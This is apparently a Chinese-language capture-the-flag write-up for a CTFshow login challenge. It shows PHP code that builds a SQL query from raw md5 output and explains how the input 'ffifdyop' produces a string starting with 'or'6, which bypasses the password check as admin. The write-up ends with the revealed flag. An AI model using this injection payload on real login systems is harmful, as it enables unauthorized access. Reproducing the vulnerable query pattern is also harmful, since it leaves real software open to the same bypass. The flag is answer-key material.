

查询语句

```
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctshow_user where username = '$username' and password= '$password'";
```

返回逻辑

```
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
    $ret['msg']='用户名不存在';
    die(json_encode($ret));
}
```

用户登陆

用户名	请输入用户名
密码	请输入密码
立即提交 重置	

CTFshow出品 © 2020 ctf.show

可以看到password被传入后会进行md5加密，在md5中有一个特殊字符串ffifdyop

md5()函数有两个参数，第二个默认是0，输出md5的32为十六进制数
如果为1，则输出原始字符串，则十六进制解码

```
1 <?php
2 echo md5(string: "ffifdyop",binary: true);
```

问题 输出 调试控制台 终端 端口

```
[Running] php "/home/hack/files-win/Code/PHP/SUIBIAN.php"
'or'6]??!r,??bFS
[Done] exited with code=0 in 0.022 seconds
```

ffifdyop在经过md5加密后的原始字符串的开头有这样一个字符串，如果sql语句同样是单引号闭合，就可以构成永久真实绕过，后面的乱码不影响

'or'6

用户名：admin
密码：ffifdyop

```
if($username!='admin'){  
    $ret['msg']='用户名不存在';  
    die(json_encode($ret));  
}
```

登陆成功

用户登陆

用户名 admin

密码

立即提交

重置

在网络查看响应

消息头

Cookie

请求

响应

耗时

栈跟踪

安全性

字节

过滤属性

JSON

code: 0

msg: "登陆成功"

count: 0

data: [{...}]

0: { flag: "ctfshow{d5ba89da-90a9-49e3-85d2-7d689ba7b2f8}" }